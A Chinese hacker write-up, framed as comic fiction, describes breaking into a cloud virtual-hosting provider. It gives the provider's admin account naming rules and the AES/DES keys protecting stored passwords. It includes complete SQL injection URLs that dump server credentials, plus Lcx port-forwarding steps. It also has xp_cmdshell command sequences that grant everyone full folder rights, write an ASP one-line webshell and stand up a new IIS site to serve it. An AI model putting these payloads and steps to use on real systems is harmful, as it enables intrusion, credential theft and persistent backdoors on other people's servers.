磨针记2——逝去的女神

(本文纯属虚构,如有雷同,实属巧合)

重阳祭祖,在闲暇之余,且听我讲述一个小小的故事。

0x01 飘渺的云虚机


很久很久以前,一个叫XXX的女孩和倭国的阿x发生了一夜情。XXX意乱情迷,浑不顾众人的反对,嫁鸡随鸡了。阿x现在做起了互联网的生意,瞧,这不是他们正在热推的云虚机吗?

图1 云虚机

共享经济版,就是传统的虚拟主机,几百个客户挤在一台服务器上,共享有限的资源。独享版呢,就要多掏银子,争取好一些的服务。一度被称为x云的独享版,如今与共享版一起上了云,美其名曰云虚机。

相比绚丽的广告,阿x为客户提供了朴素到极致的管理界面,最近我爱上了一块五一包的康师傅,品质和这差不太多。

图2 云虚机的管理界面

花费不少银子,为什么不能拥有一个图形界面呢?于是我敲敲桌子,大喊:“小二,来个图形界面。”小二很殷勤,“客官,您只需要小小地升个级。”我递过信用卡,不一会,小二回来了,“客户,余额不足哦。”我纳闷了:“不是还有五百块吗?”小二笑了笑,投过一个深深的眼神:“升级需要五千大洋哦。”我赶紧挥挥手,把永远都那么讨人喜欢的小二打发掉了。

咱谨记太祖的训示,“自己动手,丰衣足食。”诸位且看小子如何征服云虚机。

0x02 Lcx


虚机改了名,上了云,终究还是一个没骨的。征服它不难,难的是无处不在的防火墙,转发利器Lcx又得到了出场的机会。

首先,从你掌握的资源中挑选一台位于公网的服务器,再从服务器对外开放的端口中,选出一个空闲的,用于Lcx监听云虚机的请求。这一次我选择了443端口。此外,Lcx还需要一个监听服务器上的远程工具连接的端口,只须空闲即可,我选择了2500。(在命令提示符下使用netstat –an查看已用的端口)

图3 Lcx连接示意图

图4 连接步骤1:公网服务器上的服务端执行监听

其次,在云虚机上运行Lcx客户端。我一般直接使用别人从AspxSpy抠出的代码,因为做过混淆,也就略过不提。需要理解原理的同学可参考《WINDOWS网络编程技术》一书,把那几个常用的API理解了,把几个模型弄清了,一通百通。使用时,点击“MapPort”建立连接。如果连接中断了,可以使用“ClearAll”关闭已经打开的Socket,再重新建立连接。只要稍加留意服务器端的提示,还是很简单的。图中的a.b.c.d是公网服务器的IP地址,端口为443。

图5 连接步骤2:云虚机上的客户端执行连接

几秒钟之后服务器提示接头成功。

图6 与客户端建立连接

如上图,Lcx已在云虚机与公网服务器间建立了连接。此时就可以在服务器上使用远程连接工具来访问云虚机了,连接地址为127.0.0.1:2500。注意啰,不要直接连接云虚机的IP。

图7 在服务器上远程连接云虚机

曾经使用过一个独创的Lcx,为了避免空闲时掉线,代码中添加了闲时发包的功能。这一个改进自然是好的,但倘若与原生的Lcx共用,却又无法匹配工作。假如在开发之时把它作为一个可选的选项,也许会更好一些。

0x03 托梦


年初云小编审稿,XXX还吊着半条命,为此我省略了密码问题,他也干脆地把我给毙掉了。如今逝者已矣,XXX托梦与我,曾经由她掌控的云虚机有如下命名规则 :

规则 说明
服务器默认创建2(或3、4个?)个管理帐号 虚无飘渺的梦境啊
若服务器名为qyw-10000,则管理帐号为qyw10000adm及qyw10000bka。若存在Mssql,则禁用sa,并改名为sa_qyw10000adm 那位大哥,不要迷恋sa了,好不
密码为8或10位的数字与小写字母轮流出现的随机组合。(且避开某些不易区分的数字与字母?) XXX的经典之密q1w2e3r4
管理帐号的密码采用AES加密 Key: XO7BWKVmCzFV43VNm6jlsQ== IV: +AjPNc+raabKpHYqsQeZAQ== Key与IV需如下转换成字节数组:byte[] bytes1 = Convert.FromBase64String(AESkey) 测试用例:Hello:goMNyIL+hkhSXyZbkPBH9g==
Ftp的密码采用DES加密 Key: woskxmvb 测试用例:Hello:F45FCB92F2561036

恰巧手上有一枚未破之密,咱也不用什么Intel,附近就是国产生物电脑的聚集地——乖宝宝幼稚园。五分钟之后,小朋友们人手一颗棒棒糖,在宣传部小妹妹的鼓动之下,操起“全世界最安全”的“安全手机”并行登录,场面蔚为壮观。不一会阿土伯的曾孙阿土仔最先登顶——原来是一台市值40大虾的青岛主机。

图8 短了0.06GHz,王海何在

一时兴起,想探究为何IIS被设置为32位模式,谁知……

图9 XXX模块无法运行于64位模式

是夜,秋风渐起凉人意,咱晒晒山寨代码暖和一下。

图10 256位AES

我自罚三杯,早早地睡了,想到明日就可实现不睡懒觉的伟大理想,辗转反侧。

翌日,我错过了最后一个肉包子。还是大师说的对,“施主,吃素有益健康,请把肉施舍给老衲吧,哦米拖佛。”

0x04 三颗蓝宝石


掘的过程犹如筛沙,漫长而无聊,今日稍加展示三颗璀璨的蓝宝石。

第一枚,vhcon.XXX.com漏点。查询vminfo表:

http://vhcon.XXX.com/taskmanstatus/query.aspx?likename=cnd%27 union all Select top 100 Convert(Nvarchar(4000),[主机名]%2bChar(124)%2b[adm口令]%2bchar(124)%2b[bka口令]%2bchar(124)%2b[数据库口令]%2bchar(124)%2b[IP]%2bchar(124)%2b[IP]%2bchar(124)%2b[主机类型]%2bchar(124)%2b[系统类型]%2bchar(124)%2b[系统版本]%2bchar(124)%2b[出厂编号]%2bchar(124)%2b[机房位置]%2bchar(124)%2b[IP情况说明]%2bchar(124)%2b[组号]%2bchar(124)%2b[内网IP]%2bchar(124)%2b[城市]%2bchar(124)%2b[服务商]%2bchar(124)%2b[机房]%2bchar(124)%2b[服务器类型]%2bChar(124)%2bconvert(nvarchar(400),[id])) as servername,[IP] as chkuserdir  From [hiconnect_db]..[vminfo];--&act=loadtask&taskname=chkuserdir&tasktype=unmatch&

查询keyplatform表。对于这个keyplatform,我曾经做过非常深入的问卷调查,全国人民一致表示资历尚浅,弄不清这西洋文<sub>~</sub>后经专家的权威认证,Key是钥匙,platform是平台,而后专家缓缓地闭上眼,想像出平台上挂满了钥匙的场景。如此渊博的学识,无怪已经入选了社科院,佩服佩服。

http://vhcon.XXX.com/taskmanstatus/query.aspx?likename=cnd%27 union all Select top 1000 Convert(Nvarchar(4000),[hostname]%2bChar(124)%2b[wanip]%2bchar(124)%2b[lanip]%2bchar(124)%2b[username]%2bchar(124)%2b[password]%2bchar(124)%2b[conip]%2bchar(124)%2bconvert(nvarchar(200),[contype])%2bchar(124)%2b[os]%2bchar(124)%2b[dev]%2bchar(124)%2b[pe]%2bchar(124)%2bconvert(nvarchar(200),[appgroup])%2bchar(124)%2b[city]%2bchar(124)%2b[jifang]%2bchar(124)%2b[apps]%2bchar(124)%2bconvert(nvarchar(200),[ifdel])%2bChar(124)%2bconvert(nvarchar(400),[id])) as servername,[hostname] as chkuserdir  From [hiconnect_db]..[keyplatform];--&act=loadtask&taskname=chkuserdir&tasktype=unmatch&

图12 keyplatform

第二枚,立足于XXX的服务器,访问opdown.XXX.com,用户名civilink,密码opdown。下载HiConnectClient.zip,解压后将“常用表格-虚机.xls”去除密码,三万台虚拟服务器一目了然。

图13 Opdown的满汉全席

图14 明码标价,诚得我心

第三枚,令小XXX投怀送抱的终极晶钻——XXX之心,核心数据库的连接串为

(1)server=XXX.*.rds.*.com,3433;uid=hmpsa;pwd=*;database=hi_hmp
(2)server= XXX.*.rds.*.com,3433;Database=cmp;uid=cmpsa;pwd=*
(3)data source = XXX.*.rds.*.com,3433;initial catalog = hiflow; user id =hiflowsa;password =*
(4)Data Source=10.*.*.2;Initial Catalog=HiService;uid=hcmsdb;pwd=*
(5)Data Source=10.*.*.2;Database=CloudPlantform;uid=cmpsa;pwd=*
(6)Data Source=10.*.*.3;Database=Ah_Monitor;uid=hcmssa;pwd=*
(7)Data Source=10.*.*.10;Initial Catalog=HiServices;uid=sa;pwd=*    
(8)server= XXX.*.rds.*.com;user id=cproot;password=*;database=cp_db

图15 陈旧的Hmp数据库

五万台服务器,三十万用户,多乎哉,不多也。阿x人无须惊慌,这些小小的疏忽都是临时工导致的,是早已废弃的备份,主库目前置于极其安全的防护下,如需攻破还得等到本世纪中叶。

0x05 堡垒鸡


每逢激情上演,万恶的防火墙总要跳出坏人好事。22、887、3389、9001,15588,为何我需要的端口都被封杀?社工团员们,考验你们的时候到了。你们去阿x那儿,一定要安下心来发展业务,顺便喝杯水,蹭蹭Wifi,胆大的皮厚的拉着客服姐姐的小手聊聊天,借用姐姐的手机上上网,我等着你们的好消息。与此同时,我还是探寻技术之路吧。

遍翻武林秘籍,传闻要越过这道“马其诺防线”,唯有找到堡垒鸡。向来只听闻阿凡达的大公鸡、雅加达的老母鸡和思密达的小鸡鸡,堡垒鸡又是什么东西?原来海归名叫Bastion,二代身份证上赫然印着“巴斯申”:

名称 IP地址
BastionHost.BJ 112.*.*.*
BastionHost.HZ 223.*.*.*
OPDown.BJ 112.*.*.*
OPDown.HZ 223.*.*.*
NewBastion.QD 115.*.*.*
NewBastion.HZ 112.*.*.*
OXS1.HZ 10.*.*.*
OXS2.HZ 10.*.*.*

堡垒鸡,你还配作一个代理吗,刀枪林立,戒备森严,我还是远远绕道莫要理会。

0x06 cvbb再次出场


我欲乘风归去,cvbb却死皮赖脸地抱住导演的大腿直抱怨戏份少,走不得,无奈,只得加戏!

场景一:期末考试中,cvbb正襟危坐,实则早与外部搭上了天地线。

Q:(问答题,10分)已知远程Mssql主机的系统管理帐号hds129adm,密码x,禁用了sa,请给出登录步骤。(警告:挑战主考官智商者倒扣10分)

cvbb欲答:速令黑社会24小时内占领主机!这气势,是挑战主考官的节奏吗?再看外边传进的答案:

A: (1) 运行虚拟机,添加同名、同密码帐户,以此帐户重新登录

(2) 在虚拟机中,运行SSMS,选择“Windows身份验证”登录数据库(图16,17)

(3) 启用cmdshell

(4) 在cmdshell中检查w3svc等IIS相关服务及80端口是否正常,必要时使用adsutil.vbs创建一个新站点(图18)

(5) 在所选的站点下生成一句话(图18)

(6) 使用一句话上传端口转发工具

(7) 凌晨两点准时鸣放100响礼炮提醒大家早睡早起身体好

图16 禁用sa也无妨

图17 禁用sa也无妨之二

exec xp_cmdshell 'c:\windows\system32\cmd.exe /c cacls d:\software /e /t /g everyone:f'
exec xp_cmdshell 'echo ^<%b=request("#")%^>^<%eval b%^>  > d:\software\1.asp'    

exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs create_vserv w3svc/99'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/serversize 100'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/servercomment "test"'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/serverbindings ":80:"'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/enabledefaultdoc true'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/root/path d:\software'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/root/accessread true'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/root/accesswrite true'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/root/accessscript true'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/root/enabledefaultdoc true'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/root/appfriendlyName 默认应用程序'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs start_server w3svc/99'

图18 创建新站点,生成一句话

使用Dos命令echo生成一句话时使用了转义符^(数字6上头之符号)。新站点可直接使用IP地址访问。某些防火墙可能会限制IP地址的访问,随机应变就是了。

场景二:期末考试进行中,vcbb仍正襟危坐。

Q:(问答题,10分)已知虚拟主机所在服务器的系统管理帐号bgw002adm,密码x,请给出登录步骤。(警告:挑战主考官智商者倒扣20分) cvbb欲答:强攻机房,限黑社会6小时内占领主机<sub>~</sub>真是一个语不惊人死不休的人哪,再看外边传进的答案:

A:

(1) 登录Hmp库,在VirtualHostInfo表中查找该主机的Ftp用户名和密码(图19)

(2) 使用Ftp上传端口转发工具

(3) 凌晨四点准时鸣放500响请大家早起锻炼身体后,自己睡觉

图19 VirtualHostInfo表

cvbb与众不同之处,就在于模拟。尤其这类已知用户密码的场合,实在太适合他的发挥了。

图20 如鱼得水

导演一声cut,cvbb好歹露了一脸,面上有光,终于肯乖乖地回去了。

0x07 后记


阿x抽出XXX的筋骨,前后历经四年,多种手段并进:

(1) 部门整合,打乱编制

(2) 主要开发人员调往营销岗位,中止新技术研发

(3) 老员工离职

(4) 平台迁移,解散运维部门

(5) 文化渗透

打着减少成本的光鲜旗号不断削弱XXX的力量,最终XXX成为阿x的一颗死棋子,失去了所有的技术与资源。

惆怅中,只闻一首古曲从远方渺渺传来……

春花秋月何时了?往事知多少。小楼昨夜又东风,故国不堪回首月明中。
雕栏玉砌应犹在,只是朱颜改。问君能有几多愁?恰似一江春水向东流。

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐